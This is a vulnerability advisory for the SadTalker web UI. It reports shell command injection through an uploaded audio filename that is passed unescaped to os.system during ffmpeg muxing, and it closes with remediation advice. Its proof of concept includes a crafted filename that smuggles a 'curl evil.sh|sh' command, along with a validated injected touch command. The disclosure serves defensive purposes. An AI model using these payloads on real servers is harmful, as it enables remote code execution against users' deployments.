OS command injection via uploaded audio filename in the ffmpeg mux (os.system)
Summary
SadTalker muxes the generated video with audio by building an ffmpeg command string and running it through os.system. The audio path is interpolated into the command inside double quotes with no escaping, and the Gradio upload preserves the client-supplied filename. A " in an uploaded audio file's name therefore breaks out of the quoted argument and executes arbitrary shell commands when a video is generated. The default launch binds localhost, but the project's documented deployments use share=True / server_name=0.0.0.0, making this network-reachable and pre-authentication. Confirmed against the real mux function: an audio name with "; touch ... ran the injected command.
Details
src/utils/videoio.py (~lines 22 to 23):
cmd = r'ffmpeg -y -hide_banner -loglevel error -i "%s" -i "%s" -vcodec copy "%s"' % (video, audio, temp_file)
os.system(cmd)The audio value is attacker-influenced: the Gradio gr.Audio(type="filepath") upload (app_sadtalker.py ~line 45) saves the file under its original client-supplied name; src/gradio_demo.py (~line 65) does audio_path = os.path.join(input_dir, os.path.basename(driven_audio)) with no sanitization; this flows through generate_facerender_batch.py and src/facerender/animate.py (~lines 211 to 222, splitext/split and new_audio_path) into save_video_with_watermark(..., new_audio_path, ...). Shell metacharacters survive os.path.basename, os.path.join, and splitext. (A sibling unquoted os.system via the source-image name exists at gradio_demo.py ~line 88 in the full-reference UI variant.) The default demo.launch() binds 127.0.0.1 with no auth, but the README and community deployments routinely use share=True or server_name=0.0.0.0.
PoC
Upload an audio file named a";curl evil.sh|sh;".wav (or drive it via the TTS/source-image path) and generate a video.
Validated against the verbatim save_video_with_watermark from videoio.py, with audio = '/tmp/svt_test/a.wav" ; touch /tmp/svt_test/pwned_marker.txt ; echo "x':
ffmpeg output: ... x -vcodec copy <uuid>.mp4 (post-breakout fragment)
/tmp/svt_test/pwned_marker.txt -> MARKER CREATED BY INJECTED COMMAND? TrueThe filename broke out of ffmpeg's quoted argument and os.system executed the injected touch.
Impact
On every video generation, an attacker-chosen filename runs arbitrary shell commands as the server user. On a shared or 0.0.0.0-bound SadTalker WebUI (the documented community deployment), this is unauthenticated remote code execution; on the default localhost bind it is local/CSRF-reachable code execution.
Remediation
Do not pass filenames to a shell. Replace os.system(cmd) with subprocess.run([... "-i", video, "-i", audio, ... temp_file], shell=False) so arguments are not parsed by a shell, in videoio.py and the sibling gradio_demo.py call. Additionally, sanitize uploaded filenames to a safe character set before using them in any path. Require authentication when the WebUI is exposed to a network.
Source: OpenTalker/SadTalker